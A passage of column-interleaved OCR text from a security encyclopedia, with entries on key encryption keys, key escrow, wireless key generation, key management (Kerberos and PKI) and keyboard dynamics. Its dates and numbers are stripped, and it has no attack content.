then have to be exported and transported securely to the root, can be updated using its father in the tree.
other module, where it is imported. A second reason for Usually such a tree has height (with a root KEK
having a key outside its module is that such modules often handled out of-band, an intermediate KEK protected by
have limited storage and therefore are unable to store all the root KEK, and then application keys protected by the
keys used by the application. In this case, keys are off- intermediate KEK).
loaded encrypted under a key encryption key, often called a Different key encryption keys are used for different
master key, which is secured by the module. Other reasons purposes. Thus one tree of KEKs could be established for
include the need to back up keys for recovery of broken exchanging application keys with a particular partner, and
modules as well as the need to have the same keys in several another tree for protecting backup copies of the application
modules in a clustered application. keys. Thus an application key can potentially be encrypted
By encrypting keys under a KEK, one solves the prob- under different KEKs.
lem of protecting these keys but also creates a new problem Furthermore, when encrypting a key it is also good
of protecting the KEK and distributing the KEK between practice to add information on the allowed usage of the
the relevant cryptographic modules. At least one KEK key and to secure this information cryptographically. Such
needs to be handled out of band in order to bootstrap the information must then be enforced by the cryptographic
security system. How this is done depends on the type module.
of KEK, the type of module, and whether it is exchanged
between modules of the same or different organizations. Open Problems
Very often the key encryption key concept is associ- It is a general requirement that a KEK must be at least as
ated with symmetric keys, but public keys can also be used strong as the key it is encrypting. To this end, [] compares
as key encryption keys. In fact, one of the main achieve- the length of conventional keys and RSA keys. However,
ments of public key cryptography is to allow two parties an in-depth analysis of when a KEK for a cryptographic
to exchange or agree on a common key. algorithm must be rolled when encrypting keys for another
If the KEK is a symmetric key it is normally gener- algorithm is still needed. In line with this a theory defining
ated in one cryptographic module and then exported in the lifetime of KEKs depending on their depth in a tree as
a number of shares. Different key custodians each trans- described above would be very useful, as it is expected that
port a share to the other cryptographic module, where it is KEKs closer to the root could have a longer lifetime than
imported. A secret sharing scheme can be used for this pur- those closer to the application keys.
pose, so that the key is divided in, say, five shares of which Similarly a good understanding of the real security
three are necessary and sufficient to reconstruct the key. when a particular key is encrypted under different KEKs
If the KEK is a public key then confidentiality of the would be useful for designing optimal key management
KEK is not of concern, but the public key needs to be trans- procedures.
ported from one module to the other in a way ensuring
that the right public key is imported and persisted in the Recommended Reading
receiving module. . Kerckhoffs A (Jan ) La cryptographie militaire. J Sci Mil IX:
. http://www.petitcolas.net/fabien/kerckhoffs/
Although the details of the actual procedures depend
. FIPS () Security requirements for cryptographic modules.
on the organizational structure, this out-of-band exchange FIPS -. NIST, Gaithersburg, May
of the KEK is often a cumbersome and expensive process. . ISO/IEC Information technology security techniques
Therefore key management should ensure that this process security requirements for cryptographic modules
Key Escrow K
. ISO - () Banking key management (retail) to develop and implement a Key Escrow System for the
symmetric ciphers, their key management and life cycle protection and controlled release of the information neces-
sary to reconstruct the device-unique keys. The system was
designed so that no single person or organization could
compromise the device-unique key.
Key Escrow Although the use of escrow cryptography was not
mandatory, it raised concerns from the civil libertarian,
Mike Just product vendor, and academic communities. Civil lib-
Glasgow Caledonian University, Glasgow, Scotland, UK ertarians feared that escrow might someday be made
mandatory; product vendors wondered whether the mar-
ket would support cryptographic systems that provided the
Synonyms US Government access to the protected information; and
Key recovery academics worried about whether the risks were worth the
benefits. An ad hoc group of cryptographers and computer
Related Concepts scientists argued that key escrow systems were inherently
Key Management less secure, more costly, and more difficult to use.
Nevertheless, many data storage system owners wished
Denition to recover data encrypted by the users in the event that the
Key escrow is a process by which something (e.g., a doc- user loses, destroys, or is unable to produce the encryption
ument, an encryption key) is delivered to a third person key. Researchers and encryption product vendors began
to be given to the grantee only upon the fulfillment of a to design and implement systems that provided for the
condition. recovery of user keys (often by the system administra-
tor). This process is commonly referred to as key recovery.
Background Today, many encryption product manufacturers provide
K
On April , , the US Government announced a new a key recovery capability in their products or in the sys-
encryption initiative aimed at providing a high level of tems that make use of their products. Key recovery in
communications security and privacy without jeopardiz- these systems is primarily for the benefit of the user or
ing effective law enforcement, public safety, and national the system owner. Authorized law enforcement officials
security. This initiative involved the development of tam- would have to present their authorization to the system
per resistant cryptographic chips (Clipper and Capstone) administrator/owner before obtaining access to any keys or
that implemented an encryption/decryption algorithm information. The system administrator/owner would then
(SKIPJACK) for the protection of sensitive information be able to decide on the appropriate action. This is a well-
transmitted between two parties. What was special about understood and accepted process that has been used for
these chips was that each one contained a device-unique many years. While the initial concept of key escrow was not
key that would give a third party, in possession of the successful, it led to a greater appreciation for the need of
key, the capability to decrypt all data encrypted using the users and system owners to have backup capabilities for the
chip. The purpose of this feature was to provide a means recovery of encryption keys or the data that they protect.
by which properly authorized law enforcement officials
could decrypt encrypted communications. Authorization Theory
involved procedures modeled on those required for the Tamper resistant chips (Clipper and Capstone) were used
authorization of a wiretap. to implement an encryption algorithm (SKIPJACK).
SKIPJACK was designed by the National Security
Agency. A review group of four experts reviewed the origi- Applications
nally classified Skipjack algorithm, and reported that there As with any general key recovery mechanism, key escrow
was no significant risk that the algorithm had trapdoors can be applied in scenarios where backup of decryption
or could be broken by any known method of attack. The keys is highly desirable so as to maintain access to previ-
National Institute of Standards and Technology (NIST) ously encrypted data.
specified some details of the escrow parameters in FIPS
. NIST also worked with representatives of the Jus- Recommended Reading
tice Department, the Treasury Department, the National . Denning DE () Descriptions of key escrow systems. Commun
Security Agency, and the Federal Bureau of Investigation ACM
K Key Generation Using Physical Properties of Wireless Communication
. Denning DE, Smid M () Key escrowing today. IEEE Commu- In a variety of environments, the shared signal enve-
nications Magazine (): lope will contain a number of unpredictable variations
. National Institute of Standards and Technology () Escrowed
due to multi-path fading and thus can provide a suffi-
encryption standard (EES). Federal information processing stan-
dard (FIPS PUB),
cient amount of entropy that can potentially be used to
extract a shared key. Furthermore, it may be difficult for
an eavesdropper, which is a few wavelengths away from the
transmitter and receiver to predict the exact envelopes per-
ceived by the two legitimate transceivers since recreating
Key Generation Using Physical the same fading environment would require an extensive
Properties of Wireless understanding of the location and geometry of the spaces
Communication surrounding the legitimate transceivers.
A pair of transceivers can extract a symbol stream from
Aggelos Kiayias , Bulent Yener the channel fading information in a variety of ways. One

Department of Computer Science Engineering, such possibility is based on a threshold that is set by both
University of Connecticut, Storrs, CT, USA sides of the wireless link and measuring highs and lows.

Department of Computer Science, Rensselaer The statistics of the generated bit stream and consequently
Polytechnic Institute, Troy, NY, USA the generated key depend on this threshold as well as the
transmit power and the attenuation in the link. An auto-
matic gain control (AGC) mechanism can be used so that
Denition the statistics of the generated key is independent of the
A key exchange protocol between two parties that enables transmit power and the link attenuation.
the calculation of a key on both sides while preventing an
adversary to extract any nontrivial information about the
key. The protocol assumes the parties have access to a cor- Theory
related random source that is derived from the wireless To abstract the problem at hand, we consider three parties,
communication link they employ. The adversary can be namely, Alice, Bob, and Eve, each one holding a random
considered to be passive (eavesdropping) or active (modi- variable X, Y, and Z, respectively. The tuple (X, Y, Z) is
fying the communication environment). sampled simultaneously from the underlying channel dis-
tribution while each of X, Y, and Z is a sequence of symbols
Background of the same length. The objective of Alice and Bob is to use
In a wireless environment, the received signal suffers the information in X and Y, respectively, and produce an
from external distortions that include mean propagation output Ka and Kb, respectively. An algorithmic solution S
pathloss, fading, interference from other users signals, and for the problem at hand would be a set of two algorithms,
thermal noise. Among these causes, fading may change in respectively, for Alice and Bob, that would provide a way
an unpredictable way as the wireless environment changes to calculate Ka and Kb from X and Y. The solution S is
due to the frequency, location, direction, and reflecting said to be correct with error e if it happens that the event
coefficients of the surrounding objects. The unpredictabil- Ka = Kb occurs with probability at least e. The proba-
ity of these factors presents a wireless channel as a (nonsta- bility here is taken over the distribution of (X, Y, Z) as well
tionary) stochastic process that may contain a substantial as any probabilistic choices (if any) are made by S. On the
amount of entropy. other hand, the solution S is said to be secure with distance
The stochastic characteristics of a wireless channel e if the following condition holds. Consider the conditional
determine the received signals delay, its envelope, and space over which it holds that the event Ka = Kb happens;
its phase. According to the principle of reciprocity, in in such case there is a joint key K = Ka = Kb that is cal-
the absence of interference, both transmitter and receiver culated by the two players; the statistical distance of the
experience the same signal envelope. Thus, the signal enve- random variable (K, Z) from (U, Z) is at most e where U is
lope information can provide the two transceivers with two a uniformly random bitstring of the same length as K. The
correlated random sources, unique to the fading proper- intuition behind the definition of security is that an adver-
ties experienced by the wireless link between them. Note sary should be incapable of distinguishing the distribution
that in practice one cannot ignore interference and thus the of the key K from a uniformly random string even if it is
correlation between the two sources will not be perfect. given Eves input Z. We note that the algorithmic solution
Key Management K
S can be either interactive or noninteractive. In the inter-

active case, the definition of security would also take into Key Life Cycle Management
account that the messages exchanged between Alice and
Bob become available to the adversary. Stronger adversar- Key Management
ial settings for the problem involve an adversary that is not
passively eavesdropping but rather actively changing the
channel distribution of the two parties.
Key Management
Open Problems Steve Lloyd , Carlisle Adams

The first challenge in designing an algorithmic solution Sphyrna Security Incorporated, Steve Lloyd Consulting
S for key agreement in this setting is to account for the Inc., Ottawa, ON, Canada

fact that the random variables X and Y can turn out to School of Information Technology and Engineering
be different, i.e., we expect the event X = Y to happen (SITE), University of Ottawa, Ottawa, Ontario, Canada
with only negligible probability. Therefore, an information
reconciliation step is needed. This may be solved by a pro- Synonyms
cess that will enable the two parties to drop the disagree- Key life cycle management
ment locations and produce identical strings. The second
challenge is privacy amplification, i.e., using the joint string Related Concepts
as a source of joint randomness that can produce a uni- Cryptology; Cryptosystem; Public Key Infrastructure
form key. This can be achieved by applying a randomness
extractor extract the key K. Note that it may be possible Denition
to achieve extraction without agreeing on additional ran- Key management involves all the operations related to K
domness given that the underlying distribution has specific cryptographic keys, including key generation, distribution,
characteristics. Finally, one has to ensure that conditioning storage, update, and cancellation.
on Z still retains the uniform randomness of K, i.e., the sta-
tistical distance of K from a uniform random variable U of Background
the same length is bounded by a small fraction. Cryptographic keys are used to encrypt/decrypt data or to
create/verify digital signatures (Key). One of the biggest
issues associated with cryptography is the secure distri-
Experimental Results bution of these keys to the appropriate communicating
A number of experiments have demonstrated the feasibil- parties. This is referred to as key distribution or key estab-
ity of wireless key generation in the sense of agreement lishment. The life cycle associated with this keying material
between the two players. See references []. (i.e., the initialization, distribution, and cancellation of the
keys) is referred to as key management. This article dis-
cusses key management, with particular emphasis on key
Recommended Reading distribution.
. Aono T, Higuchi K, Ohira T, Komiyama B, Sasaoka H ()
Wireless secret key generation exploiting reactance-domain Theory
scalar response of multipath fading channels. IEEE Trans Anten- In order to understand key management, it is important
nas Propag (): to recall that there are two basic types of cryptography:
. Azimi-Sadjadi B, Kiayias A, Mercado A, Yener B () Robust
() symmetric or secret key and () asymmetric or public key.
key generation from signal envelopes in wireless networks. In:
ACM conference on computer and communications security,
Symmetric cryptography is characterized by the fact
Alexandria, pp that the same key is used to perform both the encryption
. Jana S, Premnath SN, Clark M, Kasera SK, Patwari N, Krishna- and decryption. This means that the communicating par-
murthy SV () On the effectiveness of secret key extraction ties must have copies of the same cryptographic key, and
from wireless signal strength in real environments. In: MOBI-
a method to securely convey these keys to the appropri-
COM, Beijing, pp
. Mathur S, Trappe W, Mandayam NB, Ye C, Reznik A ()
ate parties must be available. Compromise of the secret
Radio-telepathy: extracting a secret key from an unauthenticated key naturally leads to the compromise of any data that was
wireless channel. In: MOBICOM, San Francisco, pp encrypted using that key.
K Key Management
Asymmetric cryptography is characterized by the fact KDC

that the key used to perform a cryptographic operation
(e.g., digital signature creation) is not the key used to
perform the inverse cryptographic operation (e.g., digital
signature verification). Public key cryptography is based
1. Initial Request
on the notion of key pairs. One key is referred to as the
public key and can be revealed to anyone. The other key 2. Distribution of
is referred to as the private key and is not revealed to Session Keys
anyone other than the end-entity associated with that key
(although there are exceptions such as private key backup
3. Establish Secure Session
with a trusted third party when required). These keys are
mathematically related; however, knowledge of the pub-
Requester Target Resource
lic key does not divulge enough information to allow an
attacker to determine the private key efficiently. The con- Key Management. Fig. Key distribution center model
cept of asymmetric cryptography was first introduced to
the general public in (see []), but much of the tech-
nology necessary to support public key cryptography was
not available until the mid-s. (e.g., see []). Before an end-entity (e.g., an end user)
As illustrated below, symmetric cryptography and can access a target resource (e.g., a server), the end-entity
asymmetric cryptography are not necessarily mutually makes a request to the KDC to establish a session key that
exclusive. In fact, these techniques can be used together can be used to secure the communication between the end-
in order to offer a complementary set of services. For entity and the target resource. This model is illustrated
example, symmetric cryptography can be used to encrypt in Fig. .
a message and asymmetric cryptography can be used to The outbound arrows between the KDC and the com-
securely transfer the secret key used to encrypt the file to municating parties are logical representations of the key
the intended recipient(s). However, this is not always pos- distribution process. In practice, the KDC may distribute
sible and other distribution mechanisms may be required. one copy of the symmetric key directly to the end-entity
To illustrate these concepts in more detail, key manage- and another copy to the target resource, or both copies of
ment is first discussed in the context of a secret key only the symmetric key may be distributed back to the end-
system. This will be followed by a discussion of public key entity and the end-entity would then pass the symmet-
cryptography and how public key and secret key cryptog- ric key to the target resource. In both cases, two copies
raphy can be used together. are needed since the symmetric key is encrypted for the
intended recipients (i.e., one copy of the key is encrypted
for the end-entity and another copy of the key is encrypted
Symmetric or Secret Key Cryptography
for the target resource). This is necessary to prevent some-
Background one in a position to intercept the session key from being
When the first electronic symmetric cryptosystems were able to use the key to eavesdrop on the subsequent com-
deployed, key management was physical in nature and it munication. This implies that the KDC and the communi-
required a significant amount of human involvement. Keys cating parties must have been pre-initialized with keys that
were centrally generated and recorded on media such as can be used to protect the distribution of the session keys.
paper or magnetic tape, and the keying material was phys- These are sometimes referred to as Key Encrypting Keys
ically distributed to the appropriate locations. This was (KEKs). (It is possible to have all communicating parties
sometimes accomplished through the use of couriers pre-initialized with the same KEK; however, this practice
(sometimes humorously referred to as sneaker net). is generally considered to be less secure since compro-
The keying material was physically destroyed when no mise of the single KEK would impact the entire community
longer needed. rather than a single entity.) Note that this pre-initialization
However, modern symmetric cryptosystems are more step should not be considered unusual since some form
advanced and typically use some form of electronic key of initial bootstrap process is typically required in any
distribution. One possible model for electronic distribu- cryptographic system.
tion of symmetric keys is based on a trusted third-party A classic example of an electronic secret key distribu-
component known as a Key Distribution Center (KDC) tion based on this model is Kerberos V (see []). Kerberos
Key Management K
enables electronic key distribution in a client/server net- resource. The difference between requesting this informa-
work environment. Kerberos is comprised primarily of two tion from the AS and from the TGS is that the end-entitys
logical components: () the Authentication Server (AS) and copy of the session key is encrypted with the end-entitys
() the Ticket Granting Server (TGS). The AS and TGS symmetric key obtained from the Kerberos database when
may be physically separate, or they may reside on the same dealing with the AS, but the end-entitys copy of the session
platform, or they may even be part of the same process. key is encrypted using the TGS session key when dealing
Collectively, these two logical components can be thought with the TGS.
of as the KDC as described above. Since Kerberos is a
well-known, publicly available symmetric cryptosystem, it Cancellation
will be used in the following discussion to illustrate the In terms of key cancellation, it is important to consider that
concepts associated with symmetric key management. there are actually two types of keys being used. Each princi-
pal (i.e., end user or server) has a shared secret key used to
Initialization protect the distribution of the session keys. The lifetime of
In the Kerberos scheme, end-entities and target resources these shared secret keys is typically very long. Cancellation
are referred to as Principals. Kerberos maintains a database of a given key is usually facilitated through replacement
of all Principals and their associated symmetric keys. This (i.e., keys can be changed in accordance with local policy)
allows the session keys for each principal to be protected or deletion of an entry (e.g., when a principal no longer
when they are in transit. These symmetric keys are ini- belongs within the Kerberos realm). The second type of
tialized separately and must be established before an end- key is the session key. The lifetime of the session keys is
entity can send a request to the AS. directly coupled with the lifetime of the session itself. Once
the session between the client and server is terminated, the
Distribution session key is no longer used.
When an end-entity needs to communicate with a target
resource for the first time, the end-entity makes a request
K
Summary and Observations
to the AS. The request contains the end-entitys identifier In summary, the Kerberos database is initialized with
as well as the identifier of the target resource. Typically, the entries for each principal. Each entry includes the shared
initial target resource is the TGS and for the purposes of secret key associated with that principal which is used
this example, it can be assumed that the request is for a to protect the session keys. The session keys are gener-
session with the TGS. However, this may not always the ated by the KDC in response to requests from clients and
case (see [] for more information). are securely distributed to the appropriate principals. The
Assuming that the end-entity and target resource (i.e., shared secret keys generally have long lifetimes, but the
TGS) are in the Kerberos database, the AS will generate a session keys are ephemeral (i.e., short-lived).
symmetric key (referred to as a session key) and encrypt One of the criticisms associated with symmetric only
one copy of the session key using the symmetric key of key management is that it does not scale well. It has also
the end-entity and another copy of the session key using been criticized for having a single point of failure (i.e., what
the symmetric key of the target resource (this is referred to happens when the KDC goes down?) as well as a single
as a ticket). These encrypted copies of the session key are point of attack (all of the pre-initialized symmetric keys
returned to the requesting end-entity. are stored in the KDC database). However, alternative key
The end-entity decrypts its copy of the session key management schemes exist that help to alleviate some of
and uses it to encrypt the end-entitys identity information these problems. In particular, asymmetric cryptography
and a time stamp (this is referred to as the authentica- can be used to exchange secret keys as discussed in the next
tor). The time stamp is necessary to prevent replay attacks. section.
The session key encrypted by the AS for the target resource
(i.e., the ticket for the TGS) and the encrypted authentica-
tor are then sent to the target resource. The two commu- Asymmetric or Public Key Cryptography
nicating parties now have copies of the session key and are Asymmetric cryptography is often implemented in associ-
able to communicate securely. ation with a supporting infrastructure referred to as Public
From that point forward, the end-entity can make Key Infrastructure (PKI). PKI refers to the policies, pro-
additional requests to either the AS or the TGS (usually cedures, personnel, and components necessary to support
the TGS, but see [] for more details) in order to establish the key management process. The primary components of
a session key between the end-entity and any other target the PKI include the Certification Authority (CA) and Local
K Key Management
Registration Authority (LRA). (Other components may also When end-entities enroll with the PKI, they typically
be present, but these are not relevant for the purposes of use one or more shared secrets to demonstrate they are
this discussion.) The consumers of the PKI-related ser- the end-entity that they claim to be. The shared secrets
vices are referred to as end-entities and may be end users, may have been established at some point in the past or
devices, processes, or servers. (Public Key Infrastructure they may be distributed to the end-entity as part of a for-
for additional information with respect to PKI.) mal registration process. This latter method is typically
required when the certificate(s) will be used in conjunc-
Initialization tion with high assurance and/or sensitive transactions.
The generation of the public/private key pairs associated This often requires that the end-entity present himself or
with the end-entities can occur within the CA, LRA, or herself to an LRA along with acceptable forms of identifi-
the end-entitys system. If necessary (depending on where cation (e.g., a drivers license or employee ID). In any case,
key generation occurred), the private component of the the shared secrets facilitate the initial bootstrap process in
public/private key pair must be securely distributed to which end-entities are first initialized with their keys.
the appropriate end-entity. Several protocols have been
defined to accomplish this (e.g., see [] or []). The private Distribution
key is stored securely in standard formats such as PKCS Once the end-entities are initialized with the PKI, they
# and #. The public key component is populated in a can engage in secure communication (e.g., secure e-mail)
signed data structure issued by a CA. This data structure with their peers. Theoretically, it would be possible for
is referred to as a public key certificate. The latest version end-entities to use public key cryptography to encrypt
of the public key certificate (version ) is defined in [] data for their peers by using the public key of each
and a high-level representation of a version public key peer (assuming that the asymmetric algorithm supports
certificate is provided in Fig. . encryption/decryption). However, there are a few practical
The digital signature appended to the public key cer- issues that make this an unattractive approach. First, asym-
tificate provides two things. First, the integrity of the cer- metric cryptography is notoriously slow when compared
tificate can be verified; so any modifications to the data to symmetric cryptography. Asymmetric cryptography is
contained within the certificate after it was issued can be therefore suitable only for the encryption of small amounts
detected. Second, the identity of the issuing CA can be ver- of data. Second, it would be extremely wasteful to encrypt
ified. This allows the users of the certificate to determine if the data N times, once for each intended recipient espe-
the certificate originated from a trustworthy source. Since cially when dealing with large amounts of data (consider
both the content and source of the certificate can be veri- an e-mail with file attachments). (Note that this is also
fied, the certificate can be distributed via potentially non- true even when symmetric algorithms are used.) Third, not
secure channels. For example, the public key certificate can all asymmetric algorithms support encryption/decryption
be stored in the clear in a public repository (e.g., an X. (e.g., RSA does, but DSA does not). Thus, an impor-
directory) which allows end-entities to easily retrieve these tant goal is to take advantage of the speed of symmetric
certificates when required. cryptography, but to avoid the key distribution problems
Serial Signature Subject Public Issuer Subject Optional Digital

Version Issuer Validity Subject
Number (Info) Key Info Unique ID Unique ID Extensions Signature
Possible Extensions
Authority Key Subject Key

Identifier Identifier
Key Management. Fig. Version public key certicate

Key Management K
Original Data
Encrypted Data
Plain F(encrypt) Cipher

Text Text
Generate Send
Symmetric Key Bundle
Encrypted
Symmetric Key
F(encrypt) Cipher
Text
Symmetric Key
Recipients (Encryption)
Public Key
Key Management. Fig. Asymmetric key distribution
mentioned in the previous section. It is also desirable to Asymmetric cryptography can also be used to sup-
avoid encryption of the data multiple times (once for each port a process known as key agreement. In this case, the K
recipient). This is why PKI supports both asymmetric and communicating parties negotiate an ephemeral secret key.
symmetric cryptography. Symmetric cryptography is used (Diffie-Hellman Key Exchange Protocol for additional
for data encryption (but the data is only encrypted once information.)
regardless of the number of recipients), and asymmetric
cryptography is used for the distribution of the secret key Cancellation
to the intended recipients. In terms of key cancellation, there are two things to con-
Figure illustrates how this works using a simple sider: () the secret key used to encrypt the data and () the
example. In this example, a symmetric algorithm is used public/private key pair. In terms of the secret key, this sur-
to encrypt data (e.g., an e-mail message) and an asym- vives as long as the data is encrypted, which could be indef-
metric algorithm such as RSA is used to enable the secure initely. However, the secret key is deleted/destroyed when
distribution of the secret key that encrypted the data. the associated file is deleted or (permanently) decrypted.
Essentially, the system generates a secret key that is then There may also be cases when the protection is no longer
used to encrypt the message. Any number of symmetric considered adequate (e.g., the symmetric algorithm has
algorithms could be used for this purpose (e.g., CAST- been compromised or the key length used no longer
or Rijndael). The secret key is then encrypted using provides adequate protection). In this event, the file is
the intended recipients public (encryption) key. If multi- decrypted and re-encrypted using a new algorithm and/or
ple recipients were involved, the original data would still key. The original key would then be deleted/destroyed.
be encrypted once using the generated secret key, and the In terms of the public/private key pairs, public key cer-
secret key would be encrypted N times, once for each tificates are issued with a fixed lifetime, typically on the
recipient. The public key certificate for each recipient can order of years depending on the purpose of the cer-
be retrieved from a repository, or perhaps the certificate tificate and the associated local policy. In some PKIs, the
may have been conveyed to the originator in a previous certificates (and associated private key) are renewed auto-
exchange. On receipt, each recipient can use his/her corre- matically before the existing certificate(s) expire. In other
sponding private decryption key to decrypt the symmetric PKIs, end-entities must request new certificate(s) when
key necessary to decrypt the original data. This provides an their existing certificate(s) expire.
efficient and secure key distribution mechanism that does It is possible to establish a different lifetime for the
not suffer from the drawbacks discussed in the previous private component of the public/private key pair when
section. that key pair is used in conjunction with digital signatures
K Key Recovery
(Digital Signature Schemes). This is done in compre- . Needham R, Schroeder M () Using encryption for authen-
hensive PKIs where it is desirable to have a grace period tication in large networks of computers. Commun ACM
():
between the time the private signing key can no longer be
. Ramsdell B () S/MIME version certificate handling.
used and the time that the associated public key certificate Internet request for comments
expires so that digital signatures created before the corre-
sponding private key expired can still be verified without
exposing the end user to needless warning messages. These
comprehensive PKIs generally update the public/private Key Recovery
key pairs (and public key certificate) automatically.
Finally, it is possible to revoke certificates before Key Escrow
they naturally expire. This might be done for a vari-
ety of reasons, including suspected private key compro-
mise. (Certificate Revocation for additional information
related to certificate revocation.) Key Variation
The interested reader can find a more comprehensive
discussion of public key life cycle management in Chap. Derived Key
of [].
Summary and Observations Keyboard Dynamics

PKI provides comprehensive key management through a
combination of asymmetric and symmetric cryptography.
Mitchell A. Thornton
Symmetric cryptography is used for bulk data encryp-
tion/decryption and asymmetric cryptography is used for
Department of Electrical Engineering, Lyle School
key distribution. The use of asymmetric cryptography to
of Engineering Southern Methodist University, Dallas,
facilitate key distribution is an extremely powerful tool that
TX, USA
serves to eliminate many of the problems associated with
symmetric-only cryptosystems.
Synonyms
Open Problems Keystroke dynamics; Typing dynamics; Typing patterns
Key management in highly constrained environments
(such as wireless sensor networks), or in environments Related Concepts
without a third-party authority that is trusted by all enti- Authentication; Biometric Authentication; Keystroke
ties (such as ad hoc networks), can be harder to achieve Dynamics
than the schemes given above. Much work has been done
and some practical solutions exist, but effectively balancing Denition
security and performance in some of these environments Keyboard dynamics are the characteristics of typing
is still an active open research area. or rhythmic patterns of sequences of keystrokes on a
keyboard.
Recommended Reading
. Adams C, Farrell S () Internet X. public key infras- Background
tructure: certificate management protocols. Internet request for Early telegraph operators realized that they could iden-
comments tify other operators through the unique characteristics of
. Adams C, Lloyd S () Understanding PKI: concepts,
their keying patterns. This differentiation was apparent
standards, and deployment considerations, nd edn. Addison-
Wesley, Reading, ISBN ---
although all operators were using the same Morse code
. Diffie W, Hellman M () New directions in cryptography. IEEE form of communication since each individual operator
Trans Inf Theory : develops unique keying characteristics. The same phe-
. ITU-T () ITU-T Recommendation X.: information tech- nomena occurs in the patterns of keystroke sequences
nology open systems interconnection the directory: public
of the ubiquitous keyboard. Keyboard users develop and
key and attribute certificate frameworks (equivalent to ISO/IEC
-:)
deterministically repeat characteristic patterns that exhibit
. Kohl J, Neuman C () The Kerberos network authentication some degree of uniqueness when compared to other users
service (V) Internet request for comments patterns.
Keyboard Dynamics K
Studies on the analysis of user rhythms exhibited by rhythmic intervals between key depressions and, in fact,
users of data entry devices occurred as early as the work their variability is also a biometric attribute that varies
of Bryan and Harter in when such patterns by tele- among individuals. Measures of this variability over many
graph operators were analyzed []. In terms of modern subsequent training samples can result in the calculation of
keyboards, an early analysis was published by Young in individual characteristic standard deviation values or other
[]. Past recent research is described in the work [, ]. statistics.
Long-term variations differ in that they represent grad-
Theory ually changing permanent characteristics. From a statisti-
The rhythmic typing patterns of different individuals have cal point of view, these variations could be quantified as
characteristics that are unique. Because typing requires an slowly changing mean values of individual key depression
interaction of the mind and manual dexterity, many com- timing intervals. Long-term variations typically occur due
plicated physiological processes are involved in the chain of to a user becoming more adept or proficient in keyboard-
events beginning with having a thought about which spe- ing skills through training, or through gaining familiarity
cific key on a keyboard is to be depressed (and released) with a particular keyboard and the nuances of its key
and the actual event of key entry. This complicated chain depression pressures and spacing between the keys. The
of events is characterized by many biometric factors, or analogy of a handwritten signature to illustrate this situ-
unique characteristics, attributed to a particular individ- ation is to compare an individuals signature over the span
ual. Hence, these characteristics allow a unique signature of a lifetime. The signature would typically show distinct
to be measured based on the particular rhythmic sequence differences when compared at the time the writer was very
of typing a set of characters on a keyboard. This partic- young, then middle-aged, although these differences were
ular unique rhythmic sequence can be exploited or used acquired gradually over time.
in much the same way that a written signature is used for A third type of variation that must be accounted for is
authentication. an abrupt, but permanent, change in an individuals key-
Two types of information are transmitted to a data boarding characteristics. This phenomenon can arise due
K
processing device for each keypress, the actual character to circumstances such as a permanent injury to the hand or
corresponding to the key and the duration of time that the brain, or through acquiring new keyboarding techniques
key is depressed. Modern computers use the amount of by taking a class to retrain the physiological chain of events
time the key is pressed to determine if the user desires mul- leading to the depression of a key.
tiple instances of the character to be received. The interval Many biometric methods are based on physical charac-
in which characters are repeated is referred to as the type- teristics of an individual such as the pattern of a fingerprint
matic rate and is typically a variable parameter. Keystroke or iris. This method is actually a combination of charac-
dynamic algorithms make use of the keypress duration at a teristics and an interesting aspect of keyboard dynamics
more fine-grained level; however, mechanisms are clearly is that it actually incorporates the workings of an individ-
in place to determine keypress durations. In addition to uals mind into the biometric. Other forms of biometric
using the time between a single-key-down and key-up methods that include workings of the mind are facial ges-
event, a keystroke dynamic algorithm may also utilize the tures and walking gait patterns. Because the mind and the
time interval between a key up event and a subsequent key acumen of physical dexterity are adaptable characteristics,
down event of a different keystroke. The combination of effective application of the method necessarily involves
these event time intervals then forms a signature. This sig- methods that account for adaptability. Furthermore, vari-
nature is then compared to a predetermined and stored ability in the manufacturers of different models of key-
keystroke signature known as the baseline signature for the boards also adds a degree of uncertainty. As an example,
purposes of authentication. one keyboard may have pushbutton keys with slightly more
Although the rhythmic sequence is unique, there are or less pressure required to completely depress a key. This
variations among subsequent key sequence entries. These in turn can affect the resulting rhythmic typing patterns
variations can be characterized as short term and long when the same individual uses two different keyboards and
term. Short-term variations arise from factors such as an these differences must also be accounted for.
individuals mood, state of alertness, or temporary physi-
cal injuries. An analogy with a written signature is useful Applications
in that an individuals signature, when written twice subse- The primary application of keystroke dynamics is its use
quently, appears to be substantially the same but has slight in user authentication. The predominant features required
variations. Such slight variations are also present in the in this application are to somehow account for short-term,
K Keyboard Dynamics
long-term, and abrupt changes in a particular users char- The use of areas such as machine learning algorithms,
acteristic keyboard dynamics. statistical identification theory, data mining, system iden-
While the application of keyboard dynamics can be tification, and control theory all have potential for applica-
used to authenticate a user at the initial stage of gain- tion to the challenges associated with keyboard dynamics
ing access for a data entry session in a static manner, and are currently open areas.
for instance during a password entry phase, an alterna- The storage and use of the baseline signature is another
tive application could be more dynamic in that keyboard area requiring careful consideration. Unintentional or
dynamic metrics are continuously evaluated during the malicious access of the baseline signatures could allow
entire data entry session. Furthermore, the authentica- unauthorized users to gain access. The question arises and
tion could be accomplished in a background process by mustbeaddressedconcerningwherethebaselinesignatures
attempting to identify a user of a system that does not have are to be stored within the system. If storage is implemented
a designated authentication stage. An example may be the in the actual keyboard, the device could be easily accessed
use of a public data entry keyboard where passwords are and the signatures obtained through reverse engineering.
not requested. Alternatively, if the signature baseline data is stored in a
Another interesting application of keyboard dynamics remote secure server, some form of network security such
is to utilize the signature to identify and couple a particu- as the use of encryption must be employed.
lar user with other known information about that user or While the majority of past work has focused on timing
group of users. For example, demographic profiles could characteristics in keyboard dynamics, some researchers
be stored and accessed based on some category of users. have investigated the use of alternative metrics. Such met-
Similar methods are commonly used in commercial web rics could be obtained by including other sensors in the
pages such as those employed by vendors of books. Once a keyboard that measure quantities such as the pressure pro-
particular user is identified, interest preferences that have file, the position on the actual key where the finger usually
been previously acquired are accessed and allow the web makes physical contact, or the acceleration profiles that
page to customize a set of suggested products the user may occur during the depression of a single key []. Incorpo-
be particularly interested in. ration of other metrics implies the need for a data fusion
method to be accomplished to effectively combine the
metrics into a single signature profile.
Open Problems Determining if keyboard dynamics can be used to
Because the use of keyboard dynamics has some variation classify particular groups of users based on demographic
due to the reasons discussed above, authentication errors information is also an interesting open problem. For exam-
have a nonzero probability of occurrence. These errors can ple, native speakers of the English language are accustomed
be classified into two categories: a false positive, where a to typing certain alphabetic characters more frequently
particular user is incorrectly classified as the wrong per- than others. This could potentially be exploited to identify
son and gains access to a data entry system when they not a single user, but the demographic group characterized
should not have; or a false negative, where a particular as native English speakers. Other demographics that may
user should have gained access but was denied. Depend- be of interest could be based on gender or age. Because
ing upon the application, one of these types of errors may there is a strong analogy between keyboard dynamics and
